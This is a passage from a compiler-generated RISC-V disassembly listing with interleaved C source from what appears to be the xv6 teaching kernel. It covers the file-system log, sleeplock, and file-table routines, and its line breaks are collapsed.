s2,0(sp) 80004042: 6105 addi sp,sp,32 80004044: 8082 ret 0000000080004046 <end_op>: // called at the end of each FS system call. // commits if this was the last outstanding operation. void end_op(void) { 80004046: 7139 addi sp,sp,-64 80004048: fc06 sd ra,56(sp) 8000404a: f822 sd s0,48(sp) 8000404c: f426 sd s1,40(sp) 8000404e: f04a sd s2,32(sp) 80004050: ec4e sd s3,24(sp) 80004052: e852 sd s4,16(sp) 80004054: e456 sd s5,8(sp) 80004056: 0080 addi s0,sp,64 int do_commit = 0; acquire(&log.lock); 80004058: 0001e497 auipc s1,0x1e 8000405c: 8b048493 addi s1,s1,-1872 # 80021908 <log> 80004060: 8526 mv a0,s1 80004062: ffffd097 auipc ra,0xffffd 80004066: bae080e7 jalr -1106(ra) # 80000c10 <acquire> log.outstanding -= 1; 8000406a: 509c lw a5,32(s1) 8000406c: 37fd addiw a5,a5,-1 8000406e: 0007891b sext.w s2,a5 80004072: d09c sw a5,32(s1) if(log.committing) 80004074: 50dc lw a5,36(s1) 80004076: efb9 bnez a5,800040d4 <end_op+0x8e> panic("log.committing"); if(log.outstanding == 0){ 80004078: 06091663 bnez s2,800040e4 <end_op+0x9e> do_commit = 1; log.committing = 1; 8000407c: 0001e497 auipc s1,0x1e 80004080: 88c48493 addi s1,s1,-1908 # 80021908 <log> 80004084: 4785 li a5,1 80004086: d0dc sw a5,36(s1) // begin_op() may be waiting for log space, // and decrementing log.outstanding has decreased // the amount of reserved space. wakeup(&log); } release(&log.lock); 80004088: 8526 mv a0,s1 8000408a: ffffd097 auipc ra,0xffffd 8000408e: c3a080e7 jalr -966(ra) # 80000cc4 <release> } static void commit() { if (log.lh.n > 0) { 80004092: 54dc lw a5,44(s1) 80004094: 06f04763 bgtz a5,80004102 <end_op+0xbc> acquire(&log.lock); 80004098: 0001e497 auipc s1,0x1e 8000409c: 87048493 addi s1,s1,-1936 # 80021908 <log> 800040a0: 8526 mv a0,s1 800040a2: ffffd097 auipc ra,0xffffd 800040a6: b6e080e7 jalr -1170(ra) # 80000c10 <acquire> log.committing = 0; 800040aa: 0204a223 sw zero,36(s1) wakeup(&log); 800040ae: 8526 mv a0,s1 800040b0: ffffe097 auipc ra,0xffffe 800040b4: 2c0080e7 jalr 704(ra) # 80002370 <wakeup> release(&log.lock); 800040b8: 8526 mv a0,s1 800040ba: ffffd097 auipc ra,0xffffd 800040be: c0a080e7 jalr -1014(ra) # 80000cc4 <release> } 800040c2: 70e2 ld ra,56(sp) 800040c4: 7442 ld s0,48(sp) 800040c6: 74a2 ld s1,40(sp) 800040c8: 7902 ld s2,32(sp) 800040ca: 69e2 ld s3,24(sp) 800040cc: 6a42 ld s4,16(sp) 800040ce: 6aa2 ld s5,8(sp) 800040d0: 6121 addi sp,sp,64 800040d2: 8082 ret panic("log.committing"); 800040d4: 00004517 auipc a0,0x4 800040d8: 53450513 addi a0,a0,1332 # 80008608 <syscalls+0x1e0> 800040dc: ffffc097 auipc ra,0xffffc 800040e0: 46c080e7 jalr 1132(ra) # 80000548 <panic> wakeup(&log); 800040e4: 0001e497 auipc s1,0x1e 800040e8: 82448493 addi s1,s1,-2012 # 80021908 <log> 800040ec: 8526 mv a0,s1 800040ee: ffffe097 auipc ra,0xffffe 800040f2: 282080e7 jalr 642(ra) # 80002370 <wakeup> release(&log.lock); 800040f6: 8526 mv a0,s1 800040f8: ffffd097 auipc ra,0xffffd 800040fc: bcc080e7 jalr -1076(ra) # 80000cc4 <release> if(do_commit){ 80004100: b7c9 j 800040c2 <end_op+0x7c> for (tail = 0; tail < log.lh.n; tail++) { 80004102: 0001ea97 auipc s5,0x1e 80004106: 836a8a93 addi s5,s5,-1994 # 80021938 <log+0x30> struct buf *to = bread(log.dev, log.start+tail+1); // log block 8000410a: 0001da17 auipc s4,0x1d 8000410e: 7fea0a13 addi s4,s4,2046 # 80021908 <log> 80004112: 018a2583 lw a1,24(s4) 80004116: 012585bb addw a1,a1,s2 8000411a: 2585 addiw a1,a1,1 8000411c: 028a2503 lw a0,40(s4) 80004120: fffff097 auipc ra,0xfffff 80004124: ce8080e7 jalr -792(ra) # 80002e08 <bread> 80004128: 84aa mv s1,a0 struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block 8000412a: 000aa583 lw a1,0(s5) 8000412e: 028a2503 lw a0,40(s4) 80004132: fffff097 auipc ra,0xfffff 80004136: cd6080e7 jalr -810(ra) # 80002e08 <bread> 8000413a: 89aa mv s3,a0 memmove(to->data, from->data, BSIZE); 8000413c: 40000613 li a2,1024 80004140: 05850593 addi a1,a0,88 80004144: 05848513 addi a0,s1,88 80004148: ffffd097 auipc ra,0xffffd 8000414c: c24080e7 jalr -988(ra) # 80000d6c <memmove> bwrite(to); // write the log 80004150: 8526 mv a0,s1 80004152: fffff097 auipc ra,0xfffff 80004156: da8080e7 jalr -600(ra) # 80002efa <bwrite> brelse(from); 8000415a: 854e mv a0,s3 8000415c: fffff097 auipc ra,0xfffff 80004160: ddc080e7 jalr -548(ra) # 80002f38 <brelse> brelse(to); 80004164: 8526 mv a0,s1 80004166: fffff097 auipc ra,0xfffff 8000416a: dd2080e7 jalr -558(ra) # 80002f38 <brelse> for (tail = 0; tail < log.lh.n; tail++) { 8000416e: 2905 addiw s2,s2,1 80004170: 0a91 addi s5,s5,4 80004172: 02ca2783 lw a5,44(s4) 80004176: f8f94ee3 blt s2,a5,80004112 <end_op+0xcc> write_log(); // Write modified blocks from cache to log write_head(); // Write header to disk -- the real commit 8000417a: 00000097 auipc ra,0x0 8000417e: c7a080e7 jalr -902(ra) # 80003df4 <write_head> install_trans(); // Now install writes to home locations 80004182: 00000097 auipc ra,0x0 80004186: cec080e7 jalr -788(ra) # 80003e6e <install_trans> log.lh.n = 0; 8000418a: 0001d797 auipc a5,0x1d 8000418e: 7a07a523 sw zero,1962(a5) # 80021934 <log+0x2c> write_head(); // Erase the transaction from the log 80004192: 00000097 auipc ra,0x0 80004196: c62080e7 jalr -926(ra) # 80003df4 <write_head> 8000419a: bdfd j 80004098 <end_op+0x52> 000000008000419c <log_write>: // modify bp->data[] // log_write(bp) // brelse(bp) void log_write(struct buf *b) { 8000419c: 1101 addi sp,sp,-32 8000419e: ec06 sd ra,24(sp) 800041a0: e822 sd s0,16(sp) 800041a2: e426 sd s1,8(sp) 800041a4: e04a sd s2,0(sp) 800041a6: 1000 addi s0,sp,32 int i; if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1) 800041a8: 0001d717 auipc a4,0x1d 800041ac: 78c72703 lw a4,1932(a4) # 80021934 <log+0x2c> 800041b0: 47f5 li a5,29 800041b2: 08e7c063 blt a5,a4,80004232 <log_write+0x96> 800041b6: 84aa mv s1,a0 800041b8: 0001d797 auipc a5,0x1d 800041bc: 76c7a783 lw a5,1900(a5) # 80021924 <log+0x1c> 800041c0: 37fd addiw a5,a5,-1 800041c2: 06f75863 bge a4,a5,80004232 <log_write+0x96> panic("too big a transaction"); if (log.outstanding < 1) 800041c6: 0001d797 auipc a5,0x1d 800041ca: 7627a783 lw a5,1890(a5) # 80021928 <log+0x20> 800041ce: 06f05a63 blez a5,80004242 <log_write+0xa6> panic("log_write outside of trans"); acquire(&log.lock); 800041d2: 0001d917 auipc s2,0x1d 800041d6: 73690913 addi s2,s2,1846 # 80021908 <log> 800041da: 854a mv a0,s2 800041dc: ffffd097 auipc ra,0xffffd 800041e0: a34080e7 jalr -1484(ra) # 80000c10 <acquire> for (i = 0; i < log.lh.n; i++) { 800041e4: 02c92603 lw a2,44(s2) 800041e8: 06c05563 blez a2,80004252 <log_write+0xb6> if (log.lh.block[i] == b->blockno) // log absorbtion 800041ec: 44cc lw a1,12(s1) 800041ee: 0001d717 auipc a4,0x1d 800041f2: 74a70713 addi a4,a4,1866 # 80021938 <log+0x30> for (i = 0; i < log.lh.n; i++) { 800041f6: 4781 li a5,0 if (log.lh.block[i] == b->blockno) // log absorbtion 800041f8: 4314 lw a3,0(a4) 800041fa: 04b68d63 beq a3,a1,80004254 <log_write+0xb8> for (i = 0; i < log.lh.n; i++) { 800041fe: 2785 addiw a5,a5,1 80004200: 0711 addi a4,a4,4 80004202: fec79be3 bne a5,a2,800041f8 <log_write+0x5c> break; } log.lh.block[i] = b->blockno; 80004206: 0621 addi a2,a2,8 80004208: 060a slli a2,a2,0x2 8000420a: 0001d797 auipc a5,0x1d 8000420e: 6fe78793 addi a5,a5,1790 # 80021908 <log> 80004212: 963e add a2,a2,a5 80004214: 44dc lw a5,12(s1) 80004216: ca1c sw a5,16(a2) if (i == log.lh.n) { // Add new block to log? bpin(b); 80004218: 8526 mv a0,s1 8000421a: fffff097 auipc ra,0xfffff 8000421e: dbc080e7 jalr -580(ra) # 80002fd6 <bpin> log.lh.n++; 80004222: 0001d717 auipc a4,0x1d 80004226: 6e670713 addi a4,a4,1766 # 80021908 <log> 8000422a: 575c lw a5,44(a4) 8000422c: 2785 addiw a5,a5,1 8000422e: d75c sw a5,44(a4) 80004230: a83d j 8000426e <log_write+0xd2> panic("too big a transaction"); 80004232: 00004517 auipc a0,0x4 80004236: 3e650513 addi a0,a0,998 # 80008618 <syscalls+0x1f0> 8000423a: ffffc097 auipc ra,0xffffc 8000423e: 30e080e7 jalr 782(ra) # 80000548 <panic> panic("log_write outside of trans"); 80004242: 00004517 auipc a0,0x4 80004246: 3ee50513 addi a0,a0,1006 # 80008630 <syscalls+0x208> 8000424a: ffffc097 auipc ra,0xffffc 8000424e: 2fe080e7 jalr 766(ra) # 80000548 <panic> for (i = 0; i < log.lh.n; i++) { 80004252: 4781 li a5,0 log.lh.block[i] = b->blockno; 80004254: 00878713 addi a4,a5,8 80004258: 00271693 slli a3,a4,0x2 8000425c: 0001d717 auipc a4,0x1d 80004260: 6ac70713 addi a4,a4,1708 # 80021908 <log> 80004264: 9736 add a4,a4,a3 80004266: 44d4 lw a3,12(s1) 80004268: cb14 sw a3,16(a4) if (i == log.lh.n) { // Add new block to log? 8000426a: faf607e3 beq a2,a5,80004218 <log_write+0x7c> } release(&log.lock); 8000426e: 0001d517 auipc a0,0x1d 80004272: 69a50513 addi a0,a0,1690 # 80021908 <log> 80004276: ffffd097 auipc ra,0xffffd 8000427a: a4e080e7 jalr -1458(ra) # 80000cc4 <release> } 8000427e: 60e2 ld ra,24(sp) 80004280: 6442 ld s0,16(sp) 80004282: 64a2 ld s1,8(sp) 80004284: 6902 ld s2,0(sp) 80004286: 6105 addi sp,sp,32 80004288: 8082 ret 000000008000428a <initsleeplock>: #include "proc.h" #include "sleeplock.h" void initsleeplock(struct sleeplock *lk, char *name) { 8000428a: 1101 addi sp,sp,-32 8000428c: ec06 sd ra,24(sp) 8000428e: e822 sd s0,16(sp) 80004290: e426 sd s1,8(sp) 80004292: e04a sd s2,0(sp) 80004294: 1000 addi s0,sp,32 80004296: 84aa mv s1,a0 80004298: 892e mv s2,a1 initlock(&lk->lk, "sleep lock"); 8000429a: 00004597 auipc a1,0x4 8000429e: 3b658593 addi a1,a1,950 # 80008650 <syscalls+0x228> 800042a2: 0521 addi a0,a0,8 800042a4: ffffd097 auipc ra,0xffffd 800042a8: 8dc080e7 jalr -1828(ra) # 80000b80 <initlock> lk->name = name; 800042ac: 0324b023 sd s2,32(s1) lk->locked = 0; 800042b0: 0004a023 sw zero,0(s1) lk->pid = 0; 800042b4: 0204a423 sw zero,40(s1) } 800042b8: 60e2 ld ra,24(sp) 800042ba: 6442 ld s0,16(sp) 800042bc: 64a2 ld s1,8(sp) 800042be: 6902 ld s2,0(sp) 800042c0: 6105 addi sp,sp,32 800042c2: 8082 ret 00000000800042c4 <acquiresleep>: void acquiresleep(struct sleeplock *lk) { 800042c4: 1101 addi sp,sp,-32 800042c6: ec06 sd ra,24(sp) 800042c8: e822 sd s0,16(sp) 800042ca: e426 sd s1,8(sp) 800042cc: e04a sd s2,0(sp) 800042ce: 1000 addi s0,sp,32 800042d0: 84aa mv s1,a0 acquire(&lk->lk); 800042d2: 00850913 addi s2,a0,8 800042d6: 854a mv a0,s2 800042d8: ffffd097 auipc ra,0xffffd 800042dc: 938080e7 jalr -1736(ra) # 80000c10 <acquire> while (lk->locked) { 800042e0: 409c lw a5,0(s1) 800042e2: cb89 beqz a5,800042f4 <acquiresleep+0x30> sleep(lk, &lk->lk); 800042e4: 85ca mv a1,s2 800042e6: 8526 mv a0,s1 800042e8: ffffe097 auipc ra,0xffffe 800042ec: f02080e7 jalr -254(ra) # 800021ea <sleep> while (lk->locked) { 800042f0: 409c lw a5,0(s1) 800042f2: fbed bnez a5,800042e4 <acquiresleep+0x20> } lk->locked = 1; 800042f4: 4785 li a5,1 800042f6: c09c sw a5,0(s1) lk->pid = myproc()->pid; 800042f8: ffffd097 auipc ra,0xffffd 800042fc: 6e6080e7 jalr 1766(ra) # 800019de <myproc> 80004300: 5d1c lw a5,56(a0) 80004302: d49c sw a5,40(s1) release(&lk->lk); 80004304: 854a mv a0,s2 80004306: ffffd097 auipc ra,0xffffd 8000430a: 9be080e7 jalr -1602(ra) # 80000cc4 <release> } 8000430e: 60e2 ld ra,24(sp) 80004310: 6442 ld s0,16(sp) 80004312: 64a2 ld s1,8(sp) 80004314: 6902 ld s2,0(sp) 80004316: 6105 addi sp,sp,32 80004318: 8082 ret 000000008000431a <releasesleep>: void releasesleep(struct sleeplock *lk) { 8000431a: 1101 addi sp,sp,-32 8000431c: ec06 sd ra,24(sp) 8000431e: e822 sd s0,16(sp) 80004320: e426 sd s1,8(sp) 80004322: e04a sd s2,0(sp) 80004324: 1000 addi s0,sp,32 80004326: 84aa mv s1,a0 acquire(&lk->lk); 80004328: 00850913 addi s2,a0,8 8000432c: 854a mv a0,s2 8000432e: ffffd097 auipc ra,0xffffd 80004332: 8e2080e7 jalr -1822(ra) # 80000c10 <acquire> lk->locked = 0; 80004336: 0004a023 sw zero,0(s1) lk->pid = 0; 8000433a: 0204a423 sw zero,40(s1) wakeup(lk); 8000433e: 8526 mv a0,s1 80004340: ffffe097 auipc ra,0xffffe 80004344: 030080e7 jalr 48(ra) # 80002370 <wakeup> release(&lk->lk); 80004348: 854a mv a0,s2 8000434a: ffffd097 auipc ra,0xffffd 8000434e: 97a080e7 jalr -1670(ra) # 80000cc4 <release> } 80004352: 60e2 ld ra,24(sp) 80004354: 6442 ld s0,16(sp) 80004356: 64a2 ld s1,8(sp) 80004358: 6902 ld s2,0(sp) 8000435a: 6105 addi sp,sp,32 8000435c: 8082 ret 000000008000435e <holdingsleep>: int holdingsleep(struct sleeplock *lk) { 8000435e: 7179 addi sp,sp,-48 80004360: f406 sd ra,40(sp) 80004362: f022 sd s0,32(sp) 80004364: ec26 sd s1,24(sp) 80004366: e84a sd s2,16(sp) 80004368: e44e sd s3,8(sp) 8000436a: 1800 addi s0,sp,48 8000436c: 84aa mv s1,a0 int r; acquire(&lk->lk); 8000436e: 00850913 addi s2,a0,8 80004372: 854a mv a0,s2 80004374: ffffd097 auipc ra,0xffffd 80004378: 89c080e7 jalr -1892(ra) # 80000c10 <acquire> r = lk->locked && (lk->pid == myproc()->pid); 8000437c: 409c lw a5,0(s1) 8000437e: ef99 bnez a5,8000439c <holdingsleep+0x3e> 80004380: 4481 li s1,0 release(&lk->lk); 80004382: 854a mv a0,s2 80004384: ffffd097 auipc ra,0xffffd 80004388: 940080e7 jalr -1728(ra) # 80000cc4 <release> return r; } 8000438c: 8526 mv a0,s1 8000438e: 70a2 ld ra,40(sp) 80004390: 7402 ld s0,32(sp) 80004392: 64e2 ld s1,24(sp) 80004394: 6942 ld s2,16(sp) 80004396: 69a2 ld s3,8(sp) 80004398: 6145 addi sp,sp,48 8000439a: 8082 ret r = lk->locked && (lk->pid == myproc()->pid); 8000439c: 0284a983 lw s3,40(s1) 800043a0: ffffd097 auipc ra,0xffffd 800043a4: 63e080e7 jalr 1598(ra) # 800019de <myproc> 800043a8: 5d04 lw s1,56(a0) 800043aa: 413484b3 sub s1,s1,s3 800043ae: 0014b493 seqz s1,s1 800043b2: bfc1 j 80004382 <holdingsleep+0x24> 00000000800043b4 <fileinit>: struct file file[NFILE]; } ftable; void fileinit(void) { 800043b4: 1141 addi sp,sp,-16 800043b6: e406 sd ra,8(sp) 800043b8: e022 sd s0,0(sp) 800043ba: 0800 addi s0,sp,16 initlock(&ftable.lock, "ftable"); 800043bc: 00004597 auipc a1,0x4 800043c0: 2a458593 addi a1,a1,676 # 80008660 <syscalls+0x238> 800043c4: 0001d517 auipc a0,0x1d 800043c8: 68c50513 addi a0,a0,1676 # 80021a50 <ftable> 800043cc: ffffc097 auipc ra,0xffffc 800043d0: 7b4080e7 jalr 1972(ra) # 80000b80 <initlock> } 800043d4: 60a2 ld ra,8(sp) 800043d6: 6402 ld s0,0(sp) 800043d8: 0141 addi sp,sp,16 800043da: 8082 ret 00000000800043dc <filealloc>: // Allocate a file structure. struct file* filealloc(void) { 800043dc: 1101 addi sp,sp,-32 800043de: ec06 sd ra,24(sp) 800043e0: e822 sd s0,16(sp) 800043e2: e426 sd s1,8(sp) 800043e4: 1000 addi s0,sp,32 struct file *f; acquire(&ftable.lock); 800043e6: 0001d517 auipc a0,0x1d 800043ea: 66a50513 addi a0,a0,1642 # 80021a50 <ftable> 800043ee: ffffd097 auipc ra,0xffffd 800043f2: 822080e7 jalr -2014(ra) # 80000c10 <acquire> for(f = ftable.file; f < ftable.file + NFILE; f++){ 800043f6: 0001d497 auipc s1,0x1d 800043fa: 67248493 addi s1,s1,1650 # 80021a68 <ftable+0x18> 800043fe: 0001e717 auipc a4,0x1e 80004402: 60a70713 addi a4,a4,1546 # 80022a08 <ftable+0xfb8> if(f->ref == 0){ 80004406: 40dc lw a5,4(s1) 80004408: cf99 beqz a5,80004426 <filealloc+0x4a> for(f = ftable.file; f < ftable.file + NFILE; f++){ 8000440a: 02848493 addi s1,s1,40 8000440e: fee49ce3 bne s1,a4,80004406 <filealloc+0x2a> f->ref = 1; release(&ftable.lock); return f; } } release(&ftable.lock); 80004412: 0001d517 auipc a0,0x1d 80004416: 63e50513 addi a0,a0,1598 # 80021a50 <ftable> 8000441a: ffffd097 auipc ra,0xffffd 8000441e: 8aa080e7 jalr -1878(ra) # 80000cc4 <release> return 0; 80004422: 4481 li s1,0 80004424: a819 j 8000443a <filealloc+0x5e> f->ref = 1; 80004426: 4785 li a5,1 80004428: c0dc sw a5,4(s1) release(&ftable.lock); 8000442a: 0001d517 auipc a0,0x1d 8000442e: 62650513 addi a0,a0,1574 # 80021a50 <ftable> 80004432: ffffd097 auipc ra,0xffffd 80004436: 892080e7 jalr -1902(ra) # 80000cc4 <release> } 8000443a: 8526 mv a0,s1 8000443c: 60e2 ld ra,24(sp) 8000443e: 6442 ld s0,16(sp) 80004440: 64a2 ld s1,8(sp) 80004442: 6105 addi sp,sp,32 80004444: 8082 ret 0000000080004446 <filedup>: // Increment ref count for file f. struct file* filedup(struct file *f) { 80004446: 1101 addi sp,sp,-32 80004448: ec06 sd ra,24(sp) 8000444a: e822 sd s0,16(sp) 8000444c: e426 sd s1,8(sp) 8000444e: 1000 addi s0,sp,32 80004450: 84aa mv s1,a0 acquire(&ftable.lock); 80004452: 0001d517 auipc a0,0x1d 80004456: 5fe50513 addi a0,a0,1534 # 80021a50 <ftable> 8000445a: ffffc097 auipc ra,0xffffc 8000445e: 7b6080e7 jalr 1974(ra) # 80000c10 <acquire> if(f->ref < 1) 80004462: 40dc lw a5,4(s1) 80004464: 02f05263 blez a5,80004488 <filedup+0x42> panic("filedup"); f->ref++; 80004468: 2785 addiw a5,a5,1 8000446a: c0dc sw a5,4(s1) release(&ftable.lock); 8000446c: 0001d517 auipc a0,0x1d 80004470: 5e450513 addi a0,a0,1508 # 80021a50 <ftable> 80004474: ffffd097 auipc ra,0xffffd 80004478: 850080e7 jalr -1968(ra) # 80000cc4 <release> return f; } 8000447c: 8526 mv a0,s1 8000447e: 60e2 ld ra,24(sp) 80004480: 6442 ld s0,16(sp) 80004482: 64a2 ld s1,8(sp) 80004484: 6105 addi sp,sp,32 80004486: 8082 ret panic("filedup"); 80004488: 00004517 auipc a0,0x4 8000448c: 1e050513 addi a0,a0,480 # 80008668 <syscalls+0x240> 80004490: ffffc097 auipc ra,0xffffc 80004494: 0b8080e7 jalr 184(ra) # 80000548 <panic> 0000000080004498 <fileclose>: // Close file f. (Decrement ref count, close when reaches 0.) void fileclose(struct file *f) { 80004498: 7139 addi sp,sp,-64 8000449a: fc06 sd ra,56(sp) 8000449c: f822 sd s0,48(sp) 8000449e: f426 sd s1,40(sp) 800044a0: f04a sd s2,32(sp) 800044a2: ec4e sd s3,24(sp) 800044a4: e852 sd s4,16(sp) 800044a6: e456 sd s5,8(sp) 800044a8: 0080 addi s0,sp,64 800044aa: 84aa mv s1,a0 struct file ff; acquire(&ftable.lock); 800044ac: 0001d517 auipc a0,0x1d 800044b0: 5a450513 addi a0,a0,1444 # 80021a50 <ftable> 800044b4: ffffc097 auipc ra,0xffffc 800044b8: 75c080e7 jalr 1884(ra) # 80000c10 <acquire> if(f->ref < 1) 800044bc: 40dc lw a5,4(s1) 800044be: 06f05163 blez a5,80004520 <fileclose+0x88> panic("fileclose"); if(--f->ref > 0){ 800044c2: 37fd addiw a5,a5,-1 800044c4: 0007871b sext.w a4,a5 800044c8: c0dc sw a5,4(s1) 800044ca: 06e04363 bgtz a4,80004530 <fileclose+0x98> release(&ftable.lock); return; } ff = *f; 800044ce: 0004a903 lw s2,0(s1) 800044d2: 0094ca83 lbu s5,9(s1) 800044d6: 0104ba03 ld s4,16(s1) 800044da: 0184b983 ld s3,24(s1) f->ref = 0; 800044de: 0004a223 sw zero,4(s1) f->type = FD_NONE; 800044e2: 0004a023 sw zero,0(s1) release(&ftable.lock); 800044e6: 0001d517 auipc a0,0x1d 800044ea: 56a50513 addi a0,a0,1386 # 80021a50 <ftable> 800044ee: ffffc097 auipc ra,0xffffc 800044f2: 7d6080e7 jalr 2006(ra) # 80000cc4 <release> if(ff.type == FD_PIPE){ 800044f6: 4785 li a5,1 800044f8: 04f90d63 beq s2,a5,80004552 <fileclose+0xba> pipeclose(ff.pipe, ff.writable); } else if(ff.type == FD_INODE || ff.type == FD_DEVICE){ 800044fc: 3979 addiw s2,s2,-2 800044fe: 4785 li a5,1 80004500: 0527e063 bltu a5,s2,80004540 <fileclose+0xa8> begin_op(); 80004504: 00000097 auipc ra,0x0 80004508: ac2080e7 jalr -1342(ra) # 80003fc6 <begin_op> iput(ff.ip); 8000450c: 854e mv a0,s3 8000450e: fffff097 auipc ra,0xfffff 80004512: 2b6080e7 jalr 694(ra) # 800037c4 <iput> end_op(); 80004516: 00000097 auipc ra,0x0 8000451a: b30080e7 jalr -1232(ra) # 80004046 <end_op> 8000451e: a00d j 80004540 <fileclose+0xa8> panic("fileclose"); 80004520: 00004517 auipc a0,0x4 80004524: 15050513 addi a0,a0,336 # 80008670 <syscalls+0x248> 80004528: ffffc097 auipc ra,0xffffc 8000452c: 020080e7 jalr 32(ra) # 80000548 <panic> release(&ftable.lock); 80004530: 0001d517 auipc a0,0x1d 80004534: 52050513 addi a0,a0,1312 # 80021a50 <ftable> 80004538: ffffc097 auipc ra,0xffffc 8000453c: 78c080e7 jalr 1932(ra) # 80000cc4 <release> } } 80004540: 70e2 ld ra,56(sp) 80004542: 7442 ld s0,48(sp) 80004544: 74a2 ld s1,40(sp) 80004546: 7902 ld s2,32(sp) 80004548: 69e2 ld s3,24(sp) 8000454a: 6a42 ld s4,16(sp) 8000454c: 6aa2 ld s5,8(sp) 8000454e: 6121 addi sp,sp,64 80004550: 8082 ret pipeclose(ff.pipe, ff.writable); 80004552: 85d6 mv a1,s5 80004554: 8552 mv a0,s4 80004556: 00000097 auipc ra,0x0 8000455a: 372080e7 jalr 882(ra) # 800048c8 <pipeclose> 8000455e: b7cd j 80004540 <fileclose+0xa8> 0000000080004560 <filestat>: // Get metadata about file f. // addr is a user virtual address, pointing to a struct stat. int filestat(struct file *f, uint64 addr) { 80004560: 715d addi sp,sp,-80 80004562: e486 sd ra,72(sp) 80004564: e0a2 sd s0,64(sp) 80004566: fc26 sd s1,56(sp) 80004568: f84a sd s2,48(sp) 8000456a: f44e sd s3,40(sp) 8000456c: 0880 addi s0,sp,80 8000456e: 84aa mv s1,a0 80004570: 89ae mv s3,a1 struct proc *p = myproc(); 80004572: ffffd097 auipc ra,0xffffd 80004576: 46c080e7 jalr 1132(ra) # 800019de <myproc> struct stat st; if(f->type == FD_INODE || f->type == FD_DEVICE){ 8000457a: 409c lw a5,0(s1) 8000457c: 37f9 addiw a5,a5,-2 8000457e: 4705 li a4,1 80004580: 04f76763 bltu a4,a5,800045ce <filestat+0x6e> 80004584: 892a mv s2,a0 ilock(f->ip); 80004586: 6c88 ld a0,24(s1) 80004588: fffff097 auipc ra,0xfffff 8000458c: 082080e7 jalr 130(ra) # 8000360a <ilock> stati(f->ip, &st); 80004590: fb840593 addi a1,s0,-72 80004594: 6c88 ld a0,24(s1) 80004596: fffff097 auipc ra,0xfffff 8000459a: 2fe080e7 jalr 766(ra) # 80003894 <stati> iunlock(f->ip); 8000459e: 6c88 ld a0,24(s1) 800045a0: fffff097 auipc ra,0xfffff 800045a4: 12c080e7 jalr 300(ra) # 800036cc <iunlock> if(copyout(p->pagetable, addr, (char *)&st, sizeof(st)) < 0) 800045a8: 46e1 li a3,24 800045aa: fb840613 addi a2,s0,-72 800045ae: 85ce mv a1,s3 800045b0: 05093503 ld a0,80(s2) 800045b4: ffffd097 auipc ra,0xffffd 800045b8: 11e080e7 jalr 286(ra) # 800016d2 <copyout> 800045bc: 41f5551b sraiw a0,a0,0x1f return -1; return 0; } return -1; } 800045c0: 60a6 ld ra,72(sp) 800045c2: 6406 ld s0,64(sp) 800045c4: 74e2 ld s1,56(sp) 800045c6: 7942 ld s2,48(sp) 800045c8: 79a2 ld s3,40(sp) 800045ca: 6161 addi sp,sp,80 800045cc: 8082 ret return -1; 800045ce: 557d li a0,-1 800045d0: bfc5 j 800045c0 <filestat+0x60> 00000000800045d2 <fileread>: // Read from file f. // addr is a user virtual address. int fileread(struct file *f, uint64 addr, int n) { 800045d2: 7179 addi sp,sp,-48 800045d4: f406 sd ra,40(sp) 800045d6: f022 sd s0,32(sp) 800045d8: ec26 sd s1,24(sp) 800045da: e84a sd s2,16(sp) 800045dc: e44e sd s3,8(sp) 800045de: 1800 addi s0,sp,48 int r = 0; if(f->readable == 0) 800045e0: 00854783 lbu a5,8(a0) 800045e4: c3d5 beqz a5,80004688 <fileread+0xb6> 800045e6: 84aa mv s1,a0 800045e8: 89ae mv s3,a1 800045ea: 8932 mv s2,a2 return -1; if(f->type == FD_PIPE){ 800045ec: 411c lw a5,0(a0) 800045ee: 4705 li a4,1 800045f0: 04e78963 beq a5,a4,80004642 <fileread+0x70> r = piperead(f->pipe, addr, n); } else if(f->type == FD_DEVICE){ 800045f4: 470d li a4,3 800045f6: 04e78d63 beq a5,a4,80004650 <fileread+0x7e> if(f->major < 0 || f->major >= NDEV || !devsw[f->major].read) return -1; r = devsw[f->major].read(1, addr, n); } else if(f->type == FD_INODE){ 800045fa: 4709 li a4,2 800045fc: 06e79e63 bne a5,a4,80004678 <fileread+0xa6> ilock(f->ip); 80004600: 6d08 ld a0,24(a0) 80004602: fffff097 auipc ra,0xfffff 80004606: 008080e7 jalr 8(ra) # 8000360a <ilock> if((r = readi(f->ip, 1, addr, f->off, n)) > 0) 8000460a: 874a mv a4,s2 8000460c: 5094 lw a3,32(s1) 8000460e: 864e mv a2,s3 80004610: 4585 li a1,1 80004612: 6c88 ld a0,24(s1) 80004614: fffff097 auipc ra,0xfffff 80004618: 2aa080e7 jalr 682(ra) # 800038be <readi> 8000461c: 892a mv s2,a0 8000461e: 00a05563 blez a0,80004628 <fileread+0x56> f->off += r; 80004622: 509c lw a5,32(s1) 80004624: 9fa9 addw a5,a5,a0 80004626: d09c sw a5,32(s1) iunlock(f->ip); 80004628: 6c88 ld a0,24(s1) 8000462a: fffff097 auipc ra,0xfffff 8000462e: 0a2080e7 jalr 162(ra) # 800036cc <iunlock> } else { panic("fileread"); } return r; } 80004632: 854a mv a0,s2 80004634: 70a2 ld ra,40(sp) 80004636: 7402 ld s0,32(sp) 80004638: 64e2 ld s1,24(sp) 8000463a: 6942 ld s2,16(sp) 8000463c: 69a2 ld s3,8(sp) 8000463e: 6145 addi sp,sp,48 80004640: 8082 ret r = piperead(f->pipe, addr, n); 80004642: 6908 ld a0,16(a0) 80004644: 00000097 auipc ra,0x0 80004648: 418080e7 jalr 1048(ra) # 80004a5c <piperead> 8000464c: 892a mv s2,a0 8000464e: b7d5 j 80004632 <fileread+0x60> if(f->major < 0 || f->major >= NDEV || !devsw[f->major].read) 80004650: 02451783 lh a5,36(a0) 80004654: 03079693 slli a3,a5,0x30 80004658: 92c1 srli a3,a3,0x30 8000465a: 4725 li a4,9 8000465c: 02d76863 bltu a4,a3,8000468c <fileread+0xba> 80004660: 0792 slli a5,a5,0x4 80004662: 0001d717 auipc a4,0x1d 80004666: 34e70713 addi a4,a4,846 # 800219b0 <devsw> 8000466a: 97ba add a5,a5,a4 8000466c: 639c ld a5,0(a5) 8000466e: c38d beqz a5,80004690 <fileread+0xbe> r = devsw[f->major].read(1, addr, n); 80004670: 4505 li a0,1 80004672: 9782 jalr a5 80004674: 892a mv s2,a0 80004676: bf75 j 80004632 <fileread+0x60> panic("fileread"); 80004678: 00004517 auipc a0,0x4 8000467c: 00850513 addi a0,a0,8 # 80008680 <syscalls+0x258> 80004680: ffffc097 auipc ra,0xffffc 80004684: ec8080e7 jalr -312(ra) # 80000548 <panic> return -1; 80004688: 597d li s2,-1 8000468a: b765 j 80004632 <fileread+0x60> return -1; 8000468c: 597d li 